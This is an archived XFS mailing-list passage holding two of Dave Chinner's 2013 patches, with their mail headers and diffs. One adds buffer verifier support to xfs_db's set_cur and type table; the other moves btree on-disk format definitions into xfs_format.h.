X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6379A7FAF for ; Sun, 29 Sep 2013 22:16:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA944AC003 for ; Sun, 29 Sep 2013 20:16:01 -0700 (PDT) X-ASG-Debug-ID: 1380510952-04cbb02c3e1591df0005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id trFKzK80jGAtmJKA for ; Sun, 29 Sep 2013 20:15:59 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvESIIGDE5AxsZiAW8DJN6A6I4h0CDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:52 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PB-7w for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Gc-6c for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 20/32] db: introduce verifier support into set_cur Date: Mon, 30 Sep 2013 13:15:32 +1000 X-ASG-Orig-Subj: [PATCH 20/32] db: introduce verifier support into set_cur Message-Id: <1380510944-8571-21-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510959 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To be able to use read and write verifiers, we need to pass the verifier to the IO routines. We do this via the set_cur() function used to trigger reading the buffer. For most metadata types, there is only one type of verifier needed. For these, we can simply add the verifier to the type table entry for the given type and use that directly. This type entry is already carried around by the IO context, so if we ever need to get it again we have direct access to it in the context we'll be doing IO. Only attach the verifiers to the v5 filesystem type table; there is not need for them on v4 filesystems as we don't have to verify or calculate CRCs for them. There are some metadata types that have more than one buffer format, or aren't based in directly in buffers. For these, leave the type table verifier NULL for now - these will need to be addressed individually. Signed-off-by: Dave Chinner --- db/io.c | 13 +++++++--- db/type.c | 88 ++++++++++++++++++++++++++++++++++----------------------------- db/type.h | 1 + 3 files changed, 59 insertions(+), 43 deletions(-) diff --git a/db/io.c b/db/io.c index 9129963..c9452f2 100644 --- a/db/io.c +++ b/db/io.c @@ -480,12 +480,14 @@ set_cur( xfs_ino_t dirino; xfs_ino_t ino; __uint16_t mode; + const struct xfs_buf_ops *ops = t ? t->bops : NULL; if (iocur_sp < 0) { dbprintf(_("set_cur no stack element to set\n")); return; } + ino = iocur_top->ino; dirino = iocur_top->dirino; mode = iocur_top->mode; @@ -507,12 +509,17 @@ set_cur( return; memcpy(iocur_top->bbmap, bbmap, sizeof(struct bbmap)); bp = libxfs_readbuf_map(mp->m_ddev_targp, bbmap->b, - bbmap->nmaps, 0, NULL); + bbmap->nmaps, 0, ops); } else { - bp = libxfs_readbuf(mp->m_ddev_targp, d, c, 0, NULL); + bp = libxfs_readbuf(mp->m_ddev_targp, d, c, 0, ops); iocur_top->bbmap = NULL; } - if (!bp || bp->b_error) + + /* + * keep the buffer even if the verifier says it is corrupted. + * We're a diagnostic tool, after all. + */ + if (!bp || (bp->b_error && bp->b_error != EFSCORRUPTED)) return; iocur_top->buf = bp->b_addr; iocur_top->bp = bp; diff --git a/db/type.c b/db/type.c index 64e2ef4..b3f3d87 100644 --- a/db/type.c +++ b/db/type.c @@ -50,50 +50,58 @@ static const cmdinfo_t type_cmd = N_("set/show current data type"), NULL }; static const typ_t __typtab[] = { - { TYP_AGF, "agf", handle_struct, agf_hfld }, - { TYP_AGFL, "agfl", handle_struct, agfl_hfld }, - { TYP_AGI, "agi", handle_struct, agi_hfld }, - { TYP_ATTR, "attr", handle_struct, attr_hfld }, - { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_hfld }, - { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_hfld }, - { TYP_BNOBT, "bnobt", handle_struct, bnobt_hfld }, - { TYP_CNTBT, "cntbt", handle_struct, cntbt_hfld }, - { TYP_DATA, "data", handle_block, NULL }, - { TYP_DIR2, "dir2", handle_struct, dir2_hfld }, - { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld }, - { TYP_INOBT, "inobt", handle_struct, inobt_hfld }, - { TYP_INODATA, "inodata", NULL, NULL }, - { TYP_INODE, "inode", handle_struct, inode_hfld }, - { TYP_LOG, "log", NULL, NULL }, - { TYP_RTBITMAP, "rtbitmap", NULL, NULL }, - { TYP_RTSUMMARY, "rtsummary", NULL, NULL }, - { TYP_SB, "sb", handle_struct, sb_hfld }, - { TYP_SYMLINK, "symlink", handle_string, NULL }, - { TYP_TEXT, "text", handle_text, NULL }, + { TYP_AGF, "agf", handle_struct, agf_hfld, NULL }, + { TYP_AGFL, "agfl", handle_struct, agfl_hfld, NULL }, + { TYP_AGI, "agi", handle_struct, agi_hfld, NULL }, + { TYP_ATTR, "attr", handle_struct, attr_hfld, NULL }, + { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_hfld, NULL }, + { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_hfld, NULL }, + { TYP_BNOBT, "bnobt", handle_struct, bnobt_hfld, NULL }, + { TYP_CNTBT, "cntbt", handle_struct, cntbt_hfld, NULL }, + { TYP_DATA, "data", handle_block, NULL, NULL }, + { TYP_DIR2, "dir2", handle_struct, dir2_hfld, NULL }, + { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, NULL }, + { TYP_INOBT, "inobt", handle_struct, inobt_hfld, NULL }, + { TYP_INODATA, "inodata", NULL, NULL, NULL }, + { TYP_INODE, "inode", handle_struct, inode_hfld, NULL }, + { TYP_LOG, "log", NULL, NULL, NULL }, + { TYP_RTBITMAP, "rtbitmap", NULL, NULL, NULL }, + { TYP_RTSUMMARY, "rtsummary", NULL, NULL, NULL }, + { TYP_SB, "sb", handle_struct, sb_hfld, NULL }, + { TYP_SYMLINK, "symlink", handle_string, NULL, NULL }, + { TYP_TEXT, "text", handle_text, NULL, NULL }, { TYP_NONE, NULL } }; static const typ_t __typtab_crc[] = { - { TYP_AGF, "agf", handle_struct, agf_hfld }, - { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld }, - { TYP_AGI, "agi", handle_struct, agi_hfld }, - { TYP_ATTR, "attr3", handle_struct, attr3_hfld }, - { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld }, - { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_crc_hfld }, - { TYP_BNOBT, "bnobt", handle_struct, bnobt_crc_hfld }, - { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld }, - { TYP_DATA, "data", handle_block, NULL }, - { TYP_DIR2, "dir3", handle_struct, dir3_hfld }, - { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld }, - { TYP_INOBT, "inobt", handle_struct, inobt_crc_hfld }, - { TYP_INODATA, "inodata", NULL, NULL }, - { TYP_INODE, "inode", handle_struct, inode_crc_hfld }, - { TYP_LOG, "log", NULL, NULL }, - { TYP_RTBITMAP, "rtbitmap", NULL, NULL }, - { TYP_RTSUMMARY, "rtsummary", NULL, NULL }, - { TYP_SB, "sb", handle_struct, sb_hfld }, - { TYP_SYMLINK, "symlink", handle_struct, symlink_crc_hfld }, - { TYP_TEXT, "text", handle_text, NULL }, + { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, + { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, + { TYP_ATTR, "attr3", handle_struct, attr3_hfld, NULL }, + { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, + &xfs_bmbt_buf_ops }, + { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_crc_hfld, + &xfs_bmbt_buf_ops }, + { TYP_BNOBT, "bnobt", handle_struct, bnobt_crc_hfld, + &xfs_allocbt_buf_ops }, + { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld, + &xfs_allocbt_buf_ops }, + { TYP_DATA, "data", handle_block, NULL, NULL }, + { TYP_DIR2, "dir3", handle_struct, dir3_hfld, NULL }, + { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, + &xfs_dquot_buf_ops }, + { TYP_INOBT, "inobt", handle_struct, inobt_crc_hfld, + &xfs_inobt_buf_ops }, + { TYP_INODATA, "inodata", NULL, NULL, NULL }, + { TYP_INODE, "inode", handle_struct, inode_crc_hfld, + &xfs_inode_buf_ops }, + { TYP_LOG, "log", NULL, NULL, NULL }, + { TYP_RTBITMAP, "rtbitmap", NULL, NULL, NULL }, + { TYP_RTSUMMARY, "rtsummary", NULL, NULL, NULL }, + { TYP_SB, "sb", handle_struct, sb_hfld, &xfs_sb_buf_ops }, + { TYP_SYMLINK, "symlink", handle_struct, symlink_crc_hfld, + &xfs_symlink_buf_ops }, + { TYP_TEXT, "text", handle_text, NULL, NULL }, { TYP_NONE, NULL } }; diff --git a/db/type.h b/db/type.h index c41aca4d..3bb26f1 100644 --- a/db/type.h +++ b/db/type.h @@ -42,6 +42,7 @@ typedef struct typ char *name; pfunc_t pfunc; const struct field *fields; + const struct xfs_buf_ops *bops; } typ_t; extern const typ_t *typtab, *cur_typ; -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F31EA7FBD for ; Sun, 29 Sep 2013 22:16:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68B6AAC002 for ; Sun, 29 Sep 2013 20:16:03 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b78000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id JJmu7fdqu5DnF6N0 for ; Sun, 29 Sep 2013 20:16:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDjFGSW4pMgzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Ot-1R for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Ft-0i for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 11/32] xfs: decouple inode and bmap btree header files Date: Mon, 30 Sep 2013 13:15:23 +1000 X-ASG-Orig-Subj: [PATCH 11/32] xfs: decouple inode and bmap btree header files Message-Id: <1380510944-8571-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510960 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e From: Dave Chinner Currently the xfs_inode.h header has a dependency on the definition of the BMAP btree records as the inode fork includes an array of xfs_bmbt_rec_host_t objects in it's definition. Move all the btree format definitions from xfs_btree.h, xfs_bmap_btree.h, xfs_alloc_btree.h and xfs_ialloc_btree.h to xfs_format.h to continue the process of centralising the on-disk format definitions. With this done, the xfs inode definitions are no longer dependent on btree header files. The enables a massive culling of unnecessary includes, with close to 200 #include directives removed from the XFS kernel code base. Signed-off-by: Dave Chinner --- include/xfs_alloc_btree.h | 33 ------ include/xfs_bmap_btree.h | 103 ----------------- include/xfs_btree.h | 80 ------------- include/xfs_format.h | 281 +++++++++++++++++++++++++++++++++++++++++++++ include/xfs_ialloc.h | 3 +- include/xfs_ialloc_btree.h | 49 -------- include/xfs_inode_fork.h | 1 + 7 files changed, 284 insertions(+), 266 deletions(-) diff --git a/include/xfs_alloc_btree.h b/include/xfs_alloc_btree.h index 72676c3..45e189e 100644 --- a/include/xfs_alloc_btree.h +++ b/include/xfs_alloc_btree.h @@ -27,39 +27,6 @@ struct xfs_btree_cur; struct xfs_mount; /* - * There are two on-disk btrees, one sorted by blockno and one sorted - * by blockcount and blockno. All blocks look the same to make the code - * simpler; if we have time later, we'll make the optimizations. - */ -#define XFS_ABTB_MAGIC 0x41425442 /* 'ABTB' for bno tree */ -#define XFS_ABTB_CRC_MAGIC 0x41423342 /* 'AB3B' */ -#define XFS_ABTC_MAGIC 0x41425443 /* 'ABTC' for cnt tree */ -#define XFS_ABTC_CRC_MAGIC 0x41423343 /* 'AB3C' */ - -/* - * Data record/key structure - */ -typedef struct xfs_alloc_rec { - __be32 ar_startblock; /* starting block number */ - __be32 ar_blockcount; /* count of free blocks */ -} xfs_alloc_rec_t, xfs_alloc_key_t; - -typedef struct xfs_alloc_rec_incore { - xfs_agblock_t ar_startblock; /* starting block number */ - xfs_extlen_t ar_blockcount; /* count of free blocks */ -} xfs_alloc_rec_incore_t; - -/* btree pointer type */ -typedef __be32 xfs_alloc_ptr_t; - -/* - * Block numbers in the AG: - * SB is sector 0, AGF is sector 1, AGI is sector 2, AGFL is sector 3. - */ -#define XFS_BNO_BLOCK(mp) ((xfs_agblock_t)(XFS_AGFL_BLOCK(mp) + 1)) -#define XFS_CNT_BLOCK(mp) ((xfs_agblock_t)(XFS_BNO_BLOCK(mp) + 1)) - -/* * Btree block header size depends on a superblock flag. */ #define XFS_ALLOC_BLOCK_LEN(mp) \ diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index e307978..2379d33 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -18,9 +18,6 @@ #ifndef __XFS_BMAP_BTREE_H__ #define __XFS_BMAP_BTREE_H__ -#define XFS_BMAP_MAGIC 0x424d4150 /* 'BMAP' */ -#define XFS_BMAP_CRC_MAGIC 0x424d4133 /* 'BMA3' */ - struct xfs_btree_cur; struct xfs_btree_block; struct xfs_mount; @@ -28,85 +25,6 @@ struct xfs_inode; struct xfs_trans; /* - * Bmap root header, on-disk form only. - */ -typedef struct xfs_bmdr_block { - __be16 bb_level; /* 0 is a leaf */ - __be16 bb_numrecs; /* current # of data records */ -} xfs_bmdr_block_t; - -/* - * Bmap btree record and extent descriptor. - * l0:63 is an extent flag (value 1 indicates non-normal). - * l0:9-62 are startoff. - * l0:0-8 and l1:21-63 are startblock. - * l1:0-20 are blockcount. - */ -#define BMBT_EXNTFLAG_BITLEN 1 -#define BMBT_STARTOFF_BITLEN 54 -#define BMBT_STARTBLOCK_BITLEN 52 -#define BMBT_BLOCKCOUNT_BITLEN 21 - -typedef struct xfs_bmbt_rec { - __be64 l0, l1; -} xfs_bmbt_rec_t; - -typedef __uint64_t xfs_bmbt_rec_base_t; /* use this for casts */ -typedef xfs_bmbt_rec_t xfs_bmdr_rec_t; - -typedef struct xfs_bmbt_rec_host { - __uint64_t l0, l1; -} xfs_bmbt_rec_host_t; - -/* - * Values and macros for delayed-allocation startblock fields. - */ -#define STARTBLOCKVALBITS 17 -#define STARTBLOCKMASKBITS (15 + XFS_BIG_BLKNOS * 20) -#define DSTARTBLOCKMASKBITS (15 + 20) -#define STARTBLOCKMASK \ - (((((xfs_fsblock_t)1) << STARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) -#define DSTARTBLOCKMASK \ - (((((xfs_dfsbno_t)1) << DSTARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) - -static inline int isnullstartblock(xfs_fsblock_t x) -{ - return ((x) & STARTBLOCKMASK) == STARTBLOCKMASK; -} - -static inline int isnulldstartblock(xfs_dfsbno_t x) -{ - return ((x) & DSTARTBLOCKMASK) == DSTARTBLOCKMASK; -} - -static inline xfs_fsblock_t nullstartblock(int k) -{ - ASSERT(k < (1 << STARTBLOCKVALBITS)); - return STARTBLOCKMASK | (k); -} - -static inline xfs_filblks_t startblockval(xfs_fsblock_t x) -{ - return (xfs_filblks_t)((x) & ~STARTBLOCKMASK); -} - -/* - * Possible extent formats. - */ -typedef enum { - XFS_EXTFMT_NOSTATE = 0, - XFS_EXTFMT_HASSTATE -} xfs_exntfmt_t; - -/* - * Possible extent states. - */ -typedef enum { - XFS_EXT_NORM, XFS_EXT_UNWRITTEN, - XFS_EXT_DMAPI_OFFLINE, XFS_EXT_INVALID -} xfs_exntst_t; - -/* * Extent state and extent format macros. */ #define XFS_EXTFMT_INODE(x) \ @@ -115,27 +33,6 @@ typedef enum { #define ISUNWRITTEN(x) ((x)->br_state == XFS_EXT_UNWRITTEN) /* - * Incore version of above. - */ -typedef struct xfs_bmbt_irec -{ - xfs_fileoff_t br_startoff; /* starting file offset */ - xfs_fsblock_t br_startblock; /* starting block number */ - xfs_filblks_t br_blockcount; /* number of blocks */ - xfs_exntst_t br_state; /* extent state */ -} xfs_bmbt_irec_t; - -/* - * Key structure for non-leaf levels of the tree. - */ -typedef struct xfs_bmbt_key { - __be64 br_startoff; /* starting file offset */ -} xfs_bmbt_key_t, xfs_bmdr_key_t; - -/* btree pointer type */ -typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; - -/* * Btree block header size depends on a superblock flag. */ #define XFS_BMBT_BLOCK_LEN(mp) \ diff --git a/include/xfs_btree.h b/include/xfs_btree.h index b55af99..227bfa5 100644 --- a/include/xfs_btree.h +++ b/include/xfs_btree.h @@ -39,86 +39,6 @@ extern kmem_zone_t *xfs_btree_cur_zone; #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) /* - * Generic btree header. - * - * This is a combination of the actual format used on disk for short and long - * format btrees. The first three fields are shared by both format, but the - * pointers are different and should be used with care. - * - * To get the size of the actual short or long form headers please use the size - * macros below. Never use sizeof(xfs_btree_block). - * - * The blkno, crc, lsn, owner and uuid fields are only available in filesystems - * with the crc feature bit, and all accesses to them must be conditional on - * that flag. - */ -struct xfs_btree_block { - __be32 bb_magic; /* magic number for block type */ - __be16 bb_level; /* 0 is a leaf */ - __be16 bb_numrecs; /* current # of data records */ - union { - struct { - __be32 bb_leftsib; - __be32 bb_rightsib; - - __be64 bb_blkno; - __be64 bb_lsn; - uuid_t bb_uuid; - __be32 bb_owner; - __le32 bb_crc; - } s; /* short form pointers */ - struct { - __be64 bb_leftsib; - __be64 bb_rightsib; - - __be64 bb_blkno; - __be64 bb_lsn; - uuid_t bb_uuid; - __be64 bb_owner; - __le32 bb_crc; - __be32 bb_pad; /* padding for alignment */ - } l; /* long form pointers */ - } bb_u; /* rest */ -}; - -#define XFS_BTREE_SBLOCK_LEN 16 /* size of a short form block */ -#define XFS_BTREE_LBLOCK_LEN 24 /* size of a long form block */ - -/* sizes of CRC enabled btree blocks */ -#define XFS_BTREE_SBLOCK_CRC_LEN (XFS_BTREE_SBLOCK_LEN + 40) -#define XFS_BTREE_LBLOCK_CRC_LEN (XFS_BTREE_LBLOCK_LEN + 48) - -#define XFS_BTREE_SBLOCK_CRC_OFF \ - offsetof(struct xfs_btree_block, bb_u.s.bb_crc) -#define XFS_BTREE_LBLOCK_CRC_OFF \ - offsetof(struct xfs_btree_block, bb_u.l.bb_crc) - -/* - * Generic key, ptr and record wrapper structures. - * - * These are disk format structures, and are converted where necessary - * by the btree specific code that needs to interpret them. - */ -union xfs_btree_ptr { - __be32 s; /* short form ptr */ - __be64 l; /* long form ptr */ -}; - -union xfs_btree_key { - xfs_bmbt_key_t bmbt; - xfs_bmdr_key_t bmbr; /* bmbt root block */ - xfs_alloc_key_t alloc; - xfs_inobt_key_t inobt; -}; - -union xfs_btree_rec { - xfs_bmbt_rec_t bmbt; - xfs_bmdr_rec_t bmbr; /* bmbt root block */ - xfs_alloc_rec_t alloc; - xfs_inobt_rec_t inobt; -}; - -/* * For logging record fields. */ #define XFS_BB_MAGIC 0x01 diff --git a/include/xfs_format.h b/include/xfs_format.h index a790428..997c770 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -156,4 +156,285 @@ struct xfs_dsymlink_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_dsymlink_hdr) : 0)) + +/* + * Allocation Btree format definitions + * + * There are two on-disk btrees, one sorted by blockno and one sorted + * by blockcount and blockno. All blocks look the same to make the code + * simpler; if we have time later, we'll make the optimizations. + */ +#define XFS_ABTB_MAGIC 0x41425442 /* 'ABTB' for bno tree */ +#define XFS_ABTB_CRC_MAGIC 0x41423342 /* 'AB3B' */ +#define XFS_ABTC_MAGIC 0x41425443 /* 'ABTC' for cnt tree */ +#define XFS_ABTC_CRC_MAGIC 0x41423343 /* 'AB3C' */ + +/* + * Data record/key structure + */ +typedef struct xfs_alloc_rec { + __be32 ar_startblock; /* starting block number */ + __be32 ar_blockcount; /* count of free blocks */ +} xfs_alloc_rec_t, xfs_alloc_key_t; + +typedef struct xfs_alloc_rec_incore { + xfs_agblock_t ar_startblock; /* starting block number */ + xfs_extlen_t ar_blockcount; /* count of free blocks */ +} xfs_alloc_rec_incore_t; + +/* btree pointer type */ +typedef __be32 xfs_alloc_ptr_t; + +/* + * Block numbers in the AG: + * SB is sector 0, AGF is sector 1, AGI is sector 2, AGFL is sector 3. + */ +#define XFS_BNO_BLOCK(mp) ((xfs_agblock_t)(XFS_AGFL_BLOCK(mp) + 1)) +#define XFS_CNT_BLOCK(mp) ((xfs_agblock_t)(XFS_BNO_BLOCK(mp) + 1)) + + +/* + * Inode Allocation Btree format definitions + * + * There is a btree for the inode map per allocation group. + */ +#define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ +#define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ + +typedef __uint64_t xfs_inofree_t; +#define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) +#define XFS_INODES_PER_CHUNK_LOG (XFS_NBBYLOG + 3) +#define XFS_INOBT_ALL_FREE ((xfs_inofree_t)-1) +#define XFS_INOBT_MASK(i) ((xfs_inofree_t)1 << (i)) + +static inline xfs_inofree_t xfs_inobt_maskn(int i, int n) +{ + return ((n >= XFS_INODES_PER_CHUNK ? 0 : XFS_INOBT_MASK(n)) - 1) << i; +} + +/* + * Data record structure + */ +typedef struct xfs_inobt_rec { + __be32 ir_startino; /* starting inode number */ + __be32 ir_freecount; /* count of free inodes (set bits) */ + __be64 ir_free; /* free inode mask */ +} xfs_inobt_rec_t; + +typedef struct xfs_inobt_rec_incore { + xfs_agino_t ir_startino; /* starting inode number */ + __int32_t ir_freecount; /* count of free inodes (set bits) */ + xfs_inofree_t ir_free; /* free inode mask */ +} xfs_inobt_rec_incore_t; + + +/* + * Key structure + */ +typedef struct xfs_inobt_key { + __be32 ir_startino; /* starting inode number */ +} xfs_inobt_key_t; + +/* btree pointer type */ +typedef __be32 xfs_inobt_ptr_t; + +/* + * block numbers in the AG. + */ +#define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) +#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) + + + +/* + * BMAP Btree format definitions + * + * This includes both the root block definition that sits inside an inode fork + * and the record/pointer formats for the leaf/node in the blocks. + */ +#define XFS_BMAP_MAGIC 0x424d4150 /* 'BMAP' */ +#define XFS_BMAP_CRC_MAGIC 0x424d4133 /* 'BMA3' */ + +/* + * Bmap root header, on-disk form only. + */ +typedef struct xfs_bmdr_block { + __be16 bb_level; /* 0 is a leaf */ + __be16 bb_numrecs; /* current # of data records */ +} xfs_bmdr_block_t; + +/* + * Bmap btree record and extent descriptor. + * l0:63 is an extent flag (value 1 indicates non-normal). + * l0:9-62 are startoff. + * l0:0-8 and l1:21-63 are startblock. + * l1:0-20 are blockcount. + */ +#define BMBT_EXNTFLAG_BITLEN 1 +#define BMBT_STARTOFF_BITLEN 54 +#define BMBT_STARTBLOCK_BITLEN 52 +#define BMBT_BLOCKCOUNT_BITLEN 21 + +typedef struct xfs_bmbt_rec { + __be64 l0, l1; +} xfs_bmbt_rec_t; + +typedef __uint64_t xfs_bmbt_rec_base_t; /* use this for casts */ +typedef xfs_bmbt_rec_t xfs_bmdr_rec_t; + +typedef struct xfs_bmbt_rec_host { + __uint64_t l0, l1; +} xfs_bmbt_rec_host_t; + +/* + * Values and macros for delayed-allocation startblock fields. + */ +#define STARTBLOCKVALBITS 17 +#define STARTBLOCKMASKBITS (15 + XFS_BIG_BLKNOS * 20) +#define DSTARTBLOCKMASKBITS (15 + 20) +#define STARTBLOCKMASK \ + (((((xfs_fsblock_t)1) << STARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) +#define DSTARTBLOCKMASK \ + (((((xfs_dfsbno_t)1) << DSTARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) + +static inline int isnullstartblock(xfs_fsblock_t x) +{ + return ((x) & STARTBLOCKMASK) == STARTBLOCKMASK; +} + +static inline int isnulldstartblock(xfs_dfsbno_t x) +{ + return ((x) & DSTARTBLOCKMASK) == DSTARTBLOCKMASK; +} + +static inline xfs_fsblock_t nullstartblock(int k) +{ + ASSERT(k < (1 << STARTBLOCKVALBITS)); + return STARTBLOCKMASK | (k); +} + +static inline xfs_filblks_t startblockval(xfs_fsblock_t x) +{ + return (xfs_filblks_t)((x) & ~STARTBLOCKMASK); +} + +/* + * Possible extent formats. + */ +typedef enum { + XFS_EXTFMT_NOSTATE = 0, + XFS_EXTFMT_HASSTATE +} xfs_exntfmt_t; + +/* + * Possible extent states. + */ +typedef enum { + XFS_EXT_NORM, XFS_EXT_UNWRITTEN, + XFS_EXT_DMAPI_OFFLINE, XFS_EXT_INVALID +} xfs_exntst_t; + +/* + * Incore version of above. + */ +typedef struct xfs_bmbt_irec +{ + xfs_fileoff_t br_startoff; /* starting file offset */ + xfs_fsblock_t br_startblock; /* starting block number */ + xfs_filblks_t br_blockcount; /* number of blocks */ + xfs_exntst_t br_state; /* extent state */ +} xfs_bmbt_irec_t; + +/* + * Key structure for non-leaf levels of the tree. + */ +typedef struct xfs_bmbt_key { + __be64 br_startoff; /* starting file offset */ +} xfs_bmbt_key_t, xfs_bmdr_key_t; + +/* btree pointer type */ +typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; + + +/* + * Generic Btree block format definitions + * + * This is a combination of the actual format used on disk for short and long + * format btrees. The first three fields are shared by both format, but the + * pointers are different and should be used with care. + * + * To get the size of the actual short or long form headers please use the size + * macros below. Never use sizeof(xfs_btree_block). + * + * The blkno, crc, lsn, owner and uuid fields are only available in filesystems + * with the crc feature bit, and all accesses to them must be conditional on + * that flag. + */ +struct xfs_btree_block { + __be32 bb_magic; /* magic number for block type */ + __be16 bb_level; /* 0 is a leaf */ + __be16 bb_numrecs; /* current # of data records */ + union { + struct { + __be32 bb_leftsib; + __be32 bb_rightsib; + + __be64 bb_blkno; + __be64 bb_lsn; + uuid_t bb_uuid; + __be32 bb_owner; + __le32 bb_crc; + } s; /* short form pointers */ + struct { + __be64 bb_leftsib; + __be64 bb_rightsib; 